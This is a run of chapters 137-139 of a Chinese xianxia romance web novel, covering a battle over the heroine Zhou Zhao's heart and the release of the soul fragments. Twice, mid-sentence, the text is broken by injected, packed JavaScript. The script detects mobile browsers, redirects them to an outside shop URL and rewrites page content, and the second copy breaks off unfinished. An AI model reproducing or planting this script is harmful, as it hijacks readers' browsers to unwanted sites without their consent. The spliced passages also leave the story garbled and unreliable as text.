人被气到一定程度上真的会想笑,周昭好心提醒道:“东华神君,你有没有想过,我那颗心早就不知道进了谁的肚腹,说不定都轮回十余次了,难道你要上碧落下黄泉去找吗?” 于南桑笑了笑,那双好看的眉眼比于北杨多了丝出世的淡然,转向渡舟道:“你竟然还没告诉她?” 周昭莫名其妙道:“告诉我什么?” 于南桑道:“你的那颗心,一直保管在他那里。” 137. 第 137 章 周昭一时愣住,没反应过来这句话的意思。 于南桑好心解释道:“当年的事情我不知情,第一次在他那儿发现你那颗心时,我还以为挖心的人是他。不过刚才看了你的记忆,竟然不是,所以我很好奇,他到底是怎么将你的心完完整整拼凑起来的。你以为我是来杀你们的?不,我是来取那颗心的,这些魂片猖狂得太久了,是时候做个了断。” “等会儿,你说......我的心,在渡舟身上?”周昭第一次觉得自己听不懂人话。 渡舟低喝道:“于南桑,要打便打。” “不,让他说。”周昭神情严肃,问道,“话说清楚,什么叫……我的心在渡舟身上?” 于南桑指了指渡舟:“你问他,我只说我看到的,你的心,确实在他那儿。” “在哪儿?” 于南桑短暂地停顿了片刻,渡舟却没给他开口说话的机会,握着昆仲飞身上前。 周昭抓了个空,冷汗顺着脊梁骨往上爬,情急之下险些将渡舟没法力的事情喊出来,只好道:“小心!” 渡舟竟然还有心思回头冲她笑了笑,二人刀刃相接,立刻便是一道通天的白光。于南桑游刃有余,微笑道:“从澹溪水里滚过一回,法力被压制,竟然还有勇气跟我打。” “果然是水不对。”渡舟回道,“如果我没猜错,你这术法撑不了多久吧。” “嗯,一个时辰你就能恢复五成。” 渡舟挑衅道:“不巧,打你只需要一成,刚刚好。” 昆仲在渡舟手里总算恢复了点儿亮光,但对上于南桑那把神剑还是够呛,他一剑挑出,刺中渡舟左腹,很有礼貌道:“承让。” “渡舟!” 周昭骇得脸都白了,随便抓起什么就往上冲,等到手里的东西散发出灵光,周昭才想起来她也算是在瀛洲修行过几百年的人,手中拿着的正是白赭那把据说是昆仑碎玉打磨而成的长剑。 周昭趁势把受伤的渡舟推开,两人错身而过时,低声道:“你保护过我那么多回,这次换我来。” 于南桑毫不诧异周昭能使得动白赭的剑,饶有兴致地微笑道:“你的剑术是北杨教的,你以为北杨的剑术是谁教的?” 其实周昭并不习惯江梅棠换了个名字,不过这样也有好处。就好像她的恨意可以转接到一个叫于北杨的人身上,而对于江梅棠三个字,还能自欺欺人地当作已经死去的师父。 周昭丝毫不惧,出手凌厉:“我的剑法是周朝第一大国师江梅棠教的,师父仙去多年,前日托梦给我,说他想让徒儿帮个忙。” 于南桑眼神略微抬了抬,周昭继续激道:“师父说,他的魂魄被困在瀛洲,死不瞑目,想让我来瀛洲替他斩断镣铐,重获自由。” 于南桑冷声道:“谎话连篇!” 战场上最忌心浮气躁,一旦心气不沉,就容易出错。排兵布阵如此,打架也是一样。再加上周昭头一回用法力,虽然生疏但总能出其不意,趁于南桑分神的功夫一剑刺出去,对方闪身躲开,脸上留下了一道淡淡的血痕。 于南桑伸出拇指擦干净血丝,平静道:“让开,我不想杀你。” 周昭同样平静道:“你要动他,我杀了你。” 于南桑无奈道:“我不是要动他,我是要你的心。” 这话突然间把周昭点醒了,她发现自己搞错了方向,手中长剑放低了些:“取了心,他会怎么样?会很痛吗?” 周昭虽然不明白,为什么于南桑如此笃定自己的心在渡舟身上,但既然渡舟没反对,说明于南桑并非捕风捉影。周昭不知道渡舟要她的心做什么,只是觉得如果于南桑要拿走那颗心,应该会很痛。 她不想渡舟经历一遍她曾经的痛苦。 于南桑温声道:“不怎么样,你还是没明白。渡舟千方百计找回来这颗心,是要留给你的,虽然我不知道,他是怎么将已经吞入人腹的东西拼凑出来,但这么多年一定找得很辛苦。留着这颗心于渡舟而言是累赘,他需要每时每刻靠自己的法力温养,我取走这颗心,对他而言毫无影响,他不肯,只是因为那是你的东西。” “明鸢!别听他胡说八道!”渡舟撑着站起来,周昭制止道:“等会儿!先别过来!” 周昭快速理了一遍,抬起眸子道:“你说我这颗心能压制魂片,对吗?” “对,他刚才说的没错,魂片已经到了我压制不住的程度。一旦冲破禁制,便会为祸人间。” 周昭蹙眉道:“你想要,说一声就是,没必要如此做局,平白连累无辜的人。” 于南桑似乎没料到周昭这么好说话,少见地愣了一下,才道:“我得告诉你,你跟渡舟一样,不能算作活人,也不是完全意义上的鬼,你早该魂飞魄散,是北杨......罢了,总之,你的大限已到,没有心,你很快会像当年一样死在这儿。这一次,你会魂飞魄散,谁也救不了你。” 生死面前,无论是谁都得掂量掂量。 果然,于南桑见周昭流露出一丝错愕,她淡淡道:“我还以为时间会再长些......” “你说什么?” “没什么。”周昭回头看了看渡舟,她不怕死,只是觉得......有点舍不得这个人。 他费尽千辛万苦将我拉回人间,我若是死了……他该怎么办呢? “怎么样,想好了吗?”于南桑似乎有点烦了,剑上灵光也开始不安分地蠢蠢欲动。 “你还没告诉我,取心会痛吗?”周昭平静道。 “......不会。” “明鸢,你别信他的鬼话!”渡舟一把拉住周昭,护在自己身后,霎时间昆仲亮起了刺眼的光芒,于南桑赞赏道:“恢复得很快。” 渡舟冷哼一声:“活了几千岁的人了,只知道骗小姑娘,合适吗?谁说魂片只有周氏血脉才能压制?鬼界有种法子,遇到凶煞厉鬼压制不住,便找来这只鬼生前的仇人,将二者放在一起互相残杀。用人间的话来说,也叫以毒攻毒。于北杨当初跟我谈条件的时候,可没说要挖心这一条。” 于南桑敏锐道:“他跟你谈什么条件?” 渡舟故意说得慢条斯理,吊足胃口:“他跟我说,只要我把杀害红鱼镇上千余人的凶手推到他身上,帮他做出东华神君对所有事情毫不知情的假相,他就将第三片魂魄给我,外加自裁以谢天下。” 周昭震惊道:“红鱼镇的人都......” 渡舟挑了挑眉,盯着于南桑的反应。 虽然于北杨的确跟渡舟谈了条件,不过只有换魂魄那一条。但是从他们踏进这红鱼镇,渡舟便知道这里的人都死绝了,幻境之下还有另一处幻境。 顾绍当初走出茶馆,踩到的不是瓦罐,而是死人的头骨。于北杨煞费苦心将于南桑支开,不光是为了于南桑会阻止他自戕,还因为于北杨想将于南桑从这堆烂事里面摘出去,保住于南桑一身清白。 但依渡舟来看,于南桑宁肯让魂片杀那么多人,宁肯囚禁于北杨那么多年,也要保住于北杨一条命,他早就没多少清白了。 于南桑的表情有一瞬间的扭曲,低喝道:“住口!” 人气急败坏的原因,多半是被对方说中了痛处,渡舟冷笑道:“敢做不敢认,你可没有你弟弟有魄力。用于北杨献祭魂片,不是一样可以吗?再说人家早就一心求死,你非要将他囚禁这么多年,亲兄弟换来一身恨,划不来。” “我叫你住口!” 他们两个人加起来完全不是于南桑的对手,但十有八九的攻势都被渡舟强行接过去,周昭慌了神,再清楚不过的兵家大忌完全落不到心上,于南桑又是一记灵光在掌心托出,周昭叫道:“别打了!” 渡舟擦了擦唇边的血,周昭扶着他道:“东华神君,我的心你拿走吧。” “殿下!” “别说了!”周昭抬手勾住渡舟的肩膀,手掌托住他的头轻轻往下拉了一点,在渡舟唇角蜻蜓点水般亲了一下,又很快分开,“渡舟,我不要你死。再打下去,你会死的。” 渡舟还能再说什么? 他望着周昭,掌心都被自己捏出血来,染得昆仲颜色愈发诡异,痛苦道:“明鸢......” “还有一刻钟,咱们得快些。”于南桑抬头看了看头顶那些横冲直撞的魂片,全然不能理解这两个人干什么要死要活,他只想早点将这些魂片解决掉,早点回去找于北杨好好解释。 他心里编了无数个理由,都觉得不大满意,不过当于南桑想到于北杨时,似乎又能理解眼前人的生离死别。 渡舟坐着一动不动,于南桑拿出一个像针一样但是比针粗很多的东西,周昭不安道:“真的不会痛吗?” 渡舟咧开苍白的唇笑了笑:“明鸢,咱们现在反悔也来得及。” “来不及了。”于南桑施了个法术围起一团光晕,周昭还当他要取心,结果对方手持那根针直奔渡舟的眉心。针尖一扎进去,渡舟便忍不住倒吸一口气,周昭紧紧地握住他的手,急切道:“怎么样?结束了吗?” 于南桑表情冷然:“我还没开始。” 他那根散发着灵光的针足足插进去一寸多,于南桑两指并拢操纵着针尖,针尖每搅动一下,渡舟脸上的汗便多一层。 少顷,豆大的汗珠顺着他的下巴跟下雨似的滴下来,砸在周昭手背上。 周昭心疼得自己也跟着抽气,不由后悔刚才答应了于南桑,一直问:“好了吗?” 于南桑一言不发,表情越来越古怪,喃喃自语道:“怎么会找不到......” 渡舟猛地睁开眼睛,阴恻恻道:“因为,压根没有。”他一个翻身向后跃开,喝道:“殿下,拿剑!” 周昭尚且沉浸在这漫长的取心,什么时候才能结束的煎熬之中,听见渡舟叫她,下意识便拿起放在脚边的剑,渡舟右手抓起昆仲打向于南桑小腹,左手推着周昭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298896|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胳膊向前一送,从他睁开眼到两把凶器一前一后地插进于南桑身体里,不过电光火石一瞬间,甚至于他眉心那根银针尚且岿然不动。 于南桑似乎有些难以置信地低头看了看正在往外冒血的伤口,掀起眼皮看了渡舟一眼,神情陡然变得凶狠,低喝道:“你骗我!”他吐出一口黑血,右手拔出剑向前猛地刺去。 “渡舟!” 周昭下意识地往前扑,一股清幽的梅花香气将她整个人笼罩住,混乱之中有人轻轻握住她的肩膀向后推了一把,那阵淡淡的梅花香瞬间在鼻尖爆炸开,来人唇边溢出一大股鲜血,冲她浅笑道:“抱歉,师父来处理。” 于南桑整个人都呆住了,颤声道:“北......北杨,你怎么......” 于北杨手脚还戴着黑色的镣铐,他被于南桑囚禁在山上几百年,这是第一次用真身冲破禁制。他跟于南桑长得一模一样,只是他发丝全白,瞎了一只右眼,看上去倒是比于南桑更像哥哥。 于北杨低声道:“兄长,我们不能再错下去了。” “北杨!你不能......不能就这么......”于南桑双手一直在发抖,他几次想捉住那柄贯穿于北杨身体的剑,几次都捉不住似的滑下去,于北杨抬手轻轻覆住于南桑的手,轻声道:“兄长,我......对不起。” 渡舟的脸色很是不好看,他恨恨地看了这俩兄弟一看,牵住呆若木鸡的周昭,唇齿间逼出来三个字:“我们走。” 周昭被渡舟就这么牵着愣愣地走了一段路,刚才那是江梅棠吗? 是江梅棠,周昭看得很清楚。 不是顶着于南桑的身份来骗她的于北杨,他就是江梅棠。 是教她读书识字,教她练剑,教她明理的江梅棠。 也是叫她国破家亡,叫她留下千古骂名的江梅棠。 周昭说不上来什么感觉,大仇得报,心满意足? 还是夙愿得偿,如释重负? 好像都不是。 她只是觉得空落落的,这么多年纠缠不清的恩恩怨怨,还没等她反应过来就已经尘埃落定,就像一缕烟还没聚拢就散了,所以她尚且没来得及准备好任何一种该有的情绪。 不该是这样的。 他应该由我亲手杀死,怎么会因为救我而死? “难受?”渡舟停下脚步。 周昭也跟着停下,一时没听清他说什么。 渡舟长长地吐出一口气,松开她往回走。他走得又快又急,周昭小跑着才能跟上,唤道:“渡舟!渡舟你干什么去?” 渡舟一反常态地没吭声,也没有放慢脚步,他一路目标明确地走到于北杨面前,于南桑正一心扑在救活于北杨上,没有注意到渡舟的去而复返。渡舟先是冷冰冰地说了句风凉话:“你要是不戳白赭那一剑,说不定他还能救。” “滚!”于南桑咆哮道。 “要是想让他活命,就听我的。”渡舟不容置疑地往旁边的空地盘腿一坐,卷起袖口,露出苍白结实的小臂,然后握着昆仲干脆利落地划了一道深可见骨的口子。 周昭瞪大双眼,三魂丢了七魄,骇道:“渡舟!你做什么?” 渡舟吹了个口哨,从天而降一排青鬼,他沉声喝道:“看着她,别乱跑。”那排青鬼顺从地挡住周昭,她发现自己说不了话了。 于南桑显然也被渡舟的举动惊到了,渡舟没给他反应的时间,并拢两指将胳膊上流出来的血一滴不剩地送进于北杨腹部那个黑窟窿。 “你......” 渡舟冷声打断道:“不是什么脏血,是你们一直想要的神血。” 于南桑很快反应过来,并没有对渡舟的话提出质疑,他调整气息,跟渡舟一起救人。 源源不断的血从渡舟身体里输送到于北杨身上,渡舟那张脸肉眼可见地越来越苍白,他本来就肤色白皙,如今更是跟死人没两样。他闭着眼睛,虽然是打坐的姿势,却有几分散漫不羁。 于北杨在鬼门关走了一遭,睁开眼发现自己还活着,连他如此喜怒不形于色的人,表情实在称得上有几分精彩。 渡舟眼皮颤了颤,余光看见周昭,那双浅淡的眸子掠过一层浓重的阴影。 他睁眼的那一霎那,发丝再度寸寸成雪,他却浑不在意,用仅有三人能听到的声音压着怒意道:“于北杨,你给过她的东西,我还了。你不配救她,也不值得她愧疚怜悯。” 他缓而慢地站起来,身体没摇也没晃,用看死人的目光睨了那兄弟俩人一眼:“剩下的事儿你们自己看着办吧,要死要活,跟我们没关系。” 那些青鬼默默站到一边,周昭走到渡舟面前,本来想打一巴掌,咬几口才解气,抬起手又变得一点儿多余的力气都不敢带,指尖颤抖着,温柔地摸了摸渡舟的脸,哑声道:“好啊,嫌我话多,是不是?” 渡舟捉住她的指尖吻了吻,垂着眼眸,笑道:“不敢了。” 138. 第 138 章 “殿下,你若是想报仇,可以动手了。” 周昭惨淡地笑了笑:“值得吗?” 于南桑叫道:“等等!” 渡舟肉眼可见地黑下脸,不耐烦地转身,指着地上的白赭道:“你要是有余力,不如救救这位。” 于南桑下黑手时干脆利落,那一剑就是比着把白赭弄死往上捅的,如今却露出一丝很抱歉的神情,周昭都以为他要去救人了,于南桑却道:“不急,我下的手我清楚,还死不了。” “你们当神仙的,都这么交朋友?”渡舟忍不住道。 于南桑自动忽略了渡舟话里的冷嘲热讽,道:“我有一个问题……” “别问,不知道。”渡舟打断道。 周昭猜出来,于南桑约莫是想问渡舟到底把那颗心藏哪儿去了,刚才事发突然,她没来得及细想,如今才觉得于南桑往渡舟眉心送针不是巧合。 渡舟从前额头有一朵九瓣莲,此刻他恢复本相,那朵九瓣莲却没有显现出来…… 江梅棠的视线狐疑地落在周昭身上,渡舟严丝合缝地挡住他的目光,虽然一个字都没说,却让人不寒而栗。 于南桑没说话,半晌,才道:“算了,你们走吧。” “走?”周昭冷声道,“你弟弟杀我大周子民成千上万,害我百姓流离失所,我的三位哥哥,我的父皇母后,我周氏皇族……皆因他而死。难道他救过我,便能抵消这些血债吗!” 于南桑的表情有些颤动:“……你杀了我吧。” “杀了你?”周昭突然放声大笑,笑得眼泪乱飞,“瞧,你们兄弟俩还能讨价还价,多好。可那时候,我是多想为我的亲人而死,多想为我的百姓而死,他给过我机会了吗?我有的选吗!” 于南桑张了张嘴:“……非杀不可?” 周昭表情冷淡,像镀了一层冰:“非杀不可。” “……不用你动手。”于南桑缓缓道,“这些魂片都是你大周亡魂,他们快要突破禁制了,那时我跟北杨都会死,如何?” 渡舟狠狠地剜了于南桑一眼,周昭眼波轻轻抖了抖,脸色苍白地吐出几个字:“……如此,甚好。” 她搀扶着渡舟往前走了几步,天空黑沉沉地压下来,魂片仿佛无尽头,让人喘不动气。 身后又传来于南桑的声音:“周昭,你难道不想知道当年的真相吗!” 渡舟转身怒喝道:“有完没完!” 他顺手打出一团灵光,于南桑抬手挥开,远处瞬间炸出一个深坑。 这是周昭头一回见渡舟动这么大的怒气骂人,显然渡舟还没骂够:“几千年前的烂事儿你们自己都没扯清楚,碰见一个姓周的就要逮住不放?当年的真相跟她有什么关系?灭了月临的是她吗?杀了你们爹妈的是她吗?连我这种没爹没妈的人都知道冤有头债有主,有本事去把成业从地底下挖出来!” 于南桑被骂懵了。 因为再往前追溯,最开始他的确有点冤,当年整件事情他毫不知情。人间二十载尚且弹指一挥间,何况他在山中闭关动辄就是百年。 但于南桑很清楚,只要周昭知道了自己的心能解救苍生,她就一定不会走,至于他的话无非是往上面添把火。 周昭在渡舟耳边低声说了句什么,渡舟一脸想弄死他们两个的表情。于北杨虽然救回来了,人还在昏迷,于南桑将他跟白赭放在一起,用一道灵光护住。 周昭朝于北杨的方向看了一眼:“东华神君,周家的人只剩下我一个,月临后人也只剩下你们兄弟,有什么想说的,未了的,现在就说吧。若能走出这里,咱们就算两不相欠。” 于南桑突然有点说不下去。 按道理周昭对他而言,顶多算是个有点熟悉的人,当年于北杨从山下救回周昭,那时候于南桑正在闭关,等他出来时发现于北杨身边多了个小徒弟,那小徒弟不会说话,不大聪明,整天跟在于北杨身后转。她不会写字,于北杨便一笔一划地教她。不会握剑,于北杨亲手削了根木剑让她玩儿。 起初于南桑没在意,要不是于北杨压在澹溪的魂片有一次跑出来,他都不知道周朝灭了国,这小徒弟正是周朝最后一位皇帝。 望着周昭那双沉静似水的眼睛,于南桑发现自己有点不忍心说。 不过这种与生俱来的怜悯,很快被要救于北杨的心情冲淡,就像当时周昭在他面前被众人当众羞辱,于南桑也只是觉得不忍,但不会因为这点不忍打乱自己全盘的计划。 他的目标从头到尾都很明确,只有于北杨一个人。 于南桑定了定心神,道:“你知道北杨的眼睛是怎么瞎的吗?” 周昭想起目袋的话,回答:“自己挖的?” 于南桑点点头,不疾不徐道:“周朝那位公主不是月临人杀的,至于到底是意外,还是别有用心之人用和亲掩饰背后的目的,我不敢断言。”于南桑看了眼渡舟,“你说得对,也许成业只想一统天下,最开始没想赶尽杀绝,是我那时候自以为是,把自己的想法强加到北杨身上,酿成了后面的苦果。” 渡舟打断道:“说重点。” 于南桑道:“你们没觉得大周攻打月临,实在太快了吗?月临虽是小国,却修士众多,不至于三个月溃不成军。那时候我下山看过,沿路全是堆起来的宫观,惨不忍睹。” 渡舟又道:“两国交战,死人在所难免。” “可若是有别的东西干预呢?” “你指的是什么?”周昭追问道。 “我是说,目袋。” 此言一出,周昭大概明白了怎么回事儿,于南桑接着道:“成业为了快速拿下月临,也私底下找了修士,那修士跟他说这世上有种邪物叫做目袋,目袋所到之处,就会给那个国家带来前所未有的灾祸。成业命人抓了目袋悄悄放在月临,月临每场战争皆大败,没多久就被周朝攻占。” 渡舟冷哼一声,听上去不大感兴趣:“你说了这么多,无非是想替你们月临申冤。” “没错,我是要申冤。”于南桑一反常态,“月临的人都死绝了,士兵战死在沙场,道士被抓去修建玲珑塔,塔建成之后一个不落都活埋在塔底,皇族被赶去三苗,变成人不人鬼不鬼的东西。” “大周难道不是一样吗?”渡舟反问道。 于南桑掩面叹息道:“所以啊,冤冤相报何时了……我当年真不该闭关。” “还有人有冤。”周昭指了指天:“那些被魂片害死的人。红鱼镇的百姓。他们对你敬若天神,临死之前都不知道是你杀了他们。” 于南桑毫不隐瞒,似乎已经四大皆空:“魂片需要定期喂养,就像无相城的鬼门关一样。只不过我喂的是人,他喂的是鬼。” 周昭陡然间感到一阵恶寒,忍不住道:“你真是个疯子。” 于南桑平静道:“没错,我是个疯子。只要能救北杨,我愿意身败名裂,愿意恶鬼缠身。” 渡舟第三次拽着周昭要走,于南桑高声道:“当年的事各有难处!如今两国只剩下我们三个,咱们一方出一个人,魂片若压不住,人间会有大劫难的!” 那道护城河仔细看上面覆着一层浮动着的灵光,就像知道禁制已到大限,无数魂片正不要命地往那道灵光上撞,撞碎了的魂片很快又聚拢,黑压压地宛如蝗虫过境,之后便是寸草不生。 周昭的目光极轻地落在护城河上,语气带着点儿若有若无的笑意:“渡舟,你还记得当年我经过这里,遇到了一只槐鬼,差点儿死了,是你背着我回去的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于南桑听了周昭的话,温润地笑了笑:“也许是我修炼不到家吧,不过,这世上总得有个人是例外,是强求,不是吗?但万一这法子行不通......” “请放心,我会完成未竟之事。”周昭斩钉截铁道。 渡舟本来一直没说话,听到此处微微皱眉:“什么叫万一行不通?你当魂片都是傻子吗?他们认魂不认脸。我当初敢跟北杨谈条件,就有别的办法,只怕你不敢用。” 于南桑听到前半句本来已经大失所望,听到还有别的办法,当即一拜:“请赐教。” 渡舟也不隐瞒:“我鬼界有一物,你不会不熟悉。” 于南桑想了一下,点头笑道:“确实,我怎么没想到呢。” 这两人在说什么哑谜? 周昭正稀里糊涂,于南桑却听懂了,冲渡舟微微颔首道:“帮人帮到底,北杨跟白赭拜托二位了。” 渡舟挑了挑眉,似乎有话要说。 于南桑最后看了眼于北杨,低声道:“帮我跟白赭带句话,就说北杨麻烦他照顾。如果有必要,把他的记忆毁了吧。北杨这辈子都活在暗处,我想……让他好好活一回。” 说罢,于南桑盘腿而坐,双目轻闭,双手结印,一道柔和的光晕在他身边笼罩,他口中念念有词,不多时,那些原本疯狂地在禁制边缘徘徊试探的魂片,似乎都受到了某种感召,不约而同地朝着这一个方向飞过来。 一个魂片瞬间穿透了于南桑的身体。 紧跟着,无数魂片就像无数黑色的利箭破空而来,他们叫嚣着,嘶鸣着,就像飞蛾扑火,一头扎进那燃烧了数千年的烈火,继而在火光里安详地死去。 周昭光是看着都觉得胆颤心惊,忍不住道:“这到底什么法子......” 渡舟平静道:“一个能让人如愿以偿的法子。” 于南桑脸色越来越白,眉头紧锁,想来被魂片穿透心脏的滋味并不好受。 这时,一个看起来戾气格外重的魂片嗖地一下靠近于南桑,渡舟脸色变了变,下一瞬,那魂片竟一把贯穿了于南桑整个胸口,一个人形的东西举着血淋淋一团血肉缓慢地站起来,笑道—— “我的儿,想我了吗?” 139. 第 139 章 “兄长!” 从昏迷中转醒的于北杨睁眼便看到这一幕,他拼命地砸着于南桑设下的法阵,拳头砸得血肉模糊,一口血喷在衣襟上。 于南桑直挺挺地倒下去,没了生气。 这浑水摸鱼的“魂片”正是成业。 他还是当年周昭见过的那副样子,鬼气森森,浅笑盈盈。跟成业一起出现的,还有消失数日的折杞。 折杞一把将几个人从背后丢出来,拍拍手,气定神闲道:“人齐了。” 陆轻苹捂着胸口,显然受伤不轻。沈云起昏了过去,顾绍好像还是迷迷糊糊的状态,彷佛魂魄游离在外似的,四下望了望。 这突如其来的巨变让所有人都怔在原地。 周昭只觉冷汗从全身毛孔里钻出来,难以置信道:“......他不是......” 渡舟森然道:“谁把你放出来的?”他的目光转到折杞身上,打量一番:“你这是玩火自焚。” 折杞一脸玩味道:“要不是铤而走险走了趟无相渊,我还不知道师父藏了这么个......”他颇为欣赏地看向成业,发自内心地感叹道,“成祖皇帝,千古一帝,多么了不起的人物,竟然被你囚禁在无相渊这么多年,可惜了。” 成业估计上辈子听多了这种马屁,毫无动容,将手里的东西扔给折杞,散漫道:“赏你的。” 折杞接住,低头应道:“多谢。” 那是于南桑的丹元,于北杨红着一双眼嘶吼道:“你敢!把兄长还给我!” “怎么不敢?”折杞自言自语道,“我这辈子这种话听得太多了,你们一个个不是太子就是公主,生来就有人给你们卖命,我借刀杀个人,又有什么?” 他说完,便将那颗血肉模糊的丹元一口吞了。 折杞眼中闪烁着兴奋的光芒,意犹未尽地舔了舔唇角,畅快地伸了个懒腰:“师父,昭姐姐,我本来不想杀你们的。但一山不容二虎,你们能理解的吧。” 成业双手抱胸,挑眉道:“再说一遍?” 言下之意,周昭是周家后人,你杀一个试试。 折杞改口道:“好吧,是我失言。”他像是刚看到于北杨,低头拜礼道:“国师好啊。” 于南桑那道灵光阵已经散去了,于北杨无声地伸手在空气里痉挛地抓了抓,听见折杞叫他,另外那只没瞎的眼睛射出骇人的光芒,犹如困兽嘶吼着扑过来:“你还我兄长!” 折杞抬手便是一道高涨的灵光,于北杨被打翻在地,又偏过头吐出一口血。周昭轻轻蹙了蹙眉,手指动了动。折杞似乎有些惊讶地看了看手掌,心满意足道:“好强的灵力。” 于南桑一死,那道原本困住魂片的禁制开始渐渐变得模糊。周昭手心捏出一层汗,说得飞快:“渡舟,裴砚,十.六....”她慌不择路地叫了一串,渡舟捉住她的手轻轻捏了捏:“我在呢。” 周昭隐隐有种预感,她拉着渡舟的手往上,放在自己心口,试探道:“你已经给我了,对吗?” 渡舟没说话,眼中掠过一丝晦暗。 突然间,轰隆一阵巨响,就像冰面被什么东西一脚踩烂了,大地以极快的速度,裂开数道几十丈深的裂缝,这些裂缝就像会游走的红色巨蟒,渡舟一把抓住险些跌倒的周昭,道:“这地方要塌了。” 于南桑已死,幻境坍塌,霎时间天崩地裂。 那些魂片彻底冲开束缚,爆发出尖锐的嘶鸣。不光从护城河往外冲,还从深渊里向出爬,到处都是黑压压的亡魂。 他们简直就像是幻境里的活靶子,于南桑一死,这些亡魂已经不满足于望人止饿,一个接一个不要命地往活着的人身边扑。大火彻底从祭天台烧过来,浓烟滚滚,而地裂还远没有结束。 “救……咳咳!”周昭捂着口鼻道,“救人!” 那九只青鬼正或背或抬,将众人往还没有被波及的地方救,折杞跟成业却不慌不忙地想要趁火打劫,周昭怒喝道:“折杞!你既然能来这里,也该知道魂片逃窜到人间会是什么后果,眼下如果不赶紧控制,你难道想让人间再现当年大周血流成河之景吗!” 他们之间有一道杀气腾腾的深渊,折杞站在对面,像听到了什么好笑的事情:“我的陛下,你总是这么幼稚。人间血流成河,那不正好?不破不立,我要的就是魂片四散!等到人间变成地狱,我再来当个救世主。我要在这废墟之上建立起一个全新的大周,我就是这天下的神!” 周昭原本也能理解,折杞这类自小没人疼的人长大后可能有些偏激,但也着实被他这清奇的想法恶心到了,摇头道:“不可理喻。” “笑话!不可理喻的是你周昭!你好好看看周围,这里的人哪一个不是存着灭世之心?咱们的国师不必多说,就连你身边站着的那位,你问问他对什么魂片,什么人间感兴趣吗?他有心吗?他就是你手底下一条狗!” 周昭忍不了了。 如果这是两军阵前,折杞早就因为话多被她一箭射死。 火势越来越大,没时间了。 一条地缝正悄无声息地在周昭脚下裂开,她不动声色地挡住,喝道:“凡事论迹不论心,他是好是坏,轮不到你指摘!” 周昭说到激动处,将白赭那把神剑扔了出去,不偏不倚正刺向折杞。趁着众人还没反应过来的功夫,周昭凌空而起,那道被她踩在脚下的裂缝咔嚓一声巨响,露出血盆大口,她凌空而起一口气踩着废墟飞奔到河岸,才想起来:“坏了,渡舟该生气了。” 但情况危急容不得她再想,周昭摸摸身上竟然什么都没有,干脆一咬牙,做好了徒手掏心的准备。 周昭有点不敢看渡舟,地裂快得离谱,那人已经在离她很远的地方,周昭隔着火光看了渡舟一眼,他像是还没有缓过神来。 不知道为什么,那目光蓦地让周昭觉得有点儿心惊胆战。 周昭本来想冲对岸喊两句,譬如你快点带他们走,别管我之类的,但又觉得没必要。 渡舟懂她。 周昭到底还是没能徒手做这种事,她快速折了枝手指粗的树枝灌满灵力,不要命地往左下腹猛地一刺。 可能是被烈火激得全身沸腾,周昭刚开始没感觉到痛,后来才是一阵像被火烧到的剧痛一下子窜上来,周昭怕自己狠不下心,趁热打铁又往里扎了几寸,她觉得自己跟祭天台有仇,两回都是这种死法,忍不住低骂道:“……真痛啊。” 从周昭飞到河岸再到临时做了个凶器挖心,其实中间不过短短几个瞬间,甚至于那道裂缝还没来得及过来,渡舟已经过来了。 周昭没感觉渡舟来了,她只是突然觉得本来热烘烘的气温好像变冷了,渡舟一把攥住她的手,眼睛都烧红了,强忍住才没吼出来:“周明鸢!你敢!” 小时候周昭顽皮,被宣庆帝抓现行就是现在这种心情。 她手一抖,倒吸一口凉气。 “咱们陛下可真是大善人,当年怎么不挖了自己心给兰令仪呢?”这声音每说一个字就被风送得更近些,渡舟快速地将周昭哗哗往外淌血的腹部止住血,沉声道:“我不会让当年的事发生第二次。” 说罢,转身喝道:“下三滥的东西!过来说话!” “师父别急,我这就来了。”折杞踏着山崩地裂的盛都飞来,渡舟正要迎上去,周昭拉住他,低声道:“来不及了,先杀掉折杞!我来解决魂片!” 渡舟想了想,拿出一把黑剑递给周昭,四目相对间,虽然一句话都没说,却都明白了对方的意思。 周昭接过这把跟随了自己多年的剑,刚握住剑柄,便感觉这剑格外阴寒,几乎有些握不住。 这剑前世饮多了血,如今到这盛都城,竟然生出几分势不可挡的凶性。 渡舟转了两下昆仲,周昭手里握着剑,跟他背靠背站着。 这天塌地陷之时,周昭从没感觉到自己心脏像现在这样,跳得那样滚烫火热。 她听见渡舟低声道:“昆仲能压一时,殿下,当心。” 这倒是意外之喜,周昭虽然有疑,身份却转变得很快,点点头:“放心,我为你压阵。” 他们二人都是一身血,一黑一红衣衫交缠,在这火势滔天的末日之际竟莫名的和谐。 渡舟转了两下昆仲,低喝道:“别装死。” 他将昆仲放在唇边,不同于之前吹奏的那支小调,从昆仲流泻而出的箫声如刃,彷佛破空裂魂。霎时阴风大作,水面就像披上一层血红色的纱幔,那些魂片只要碰到,立刻发出极为凄厉的叫喊。 折杞看热闹道:“会吹曲子的鬼箫昆仲,有意思,我还当昆仲是个棒槌。等杀了他,就是我的了。” 成业漫不经心道:“你要是知道那骨箫是怎么炼出来的,就不会想要的。” “管他怎么来的,抢了再说!”折杞一个俯冲逼下去,周昭手腕一抖,剑锋寒芒逼人,直刺对方咽喉。 成业颇为赞赏地看了眼周昭,语气竟然有几分欣慰:“身法不错。”剑气逼近,周昭反手格挡,两道刺目的光芒短暂地照亮了盛都皇城,周围的魂片被冲得四散逃窜。她虽然剑法很好,修为却落了下乘,几招之内看不出来,但显而易见很快就会败阵。 一面是能把活人撕碎,把骷髅变成厉鬼的魂片前仆后继地冲撞着水面,一面是打得昏天黑地的战场,只有成业最悠闲,跟个没事儿一样沿着河岸溜达,竟然溜达到了渡舟身边。 两个人的目光若有若无地碰了碰,还没说话,折杞便叫道:“你在干什么,还不动手!” 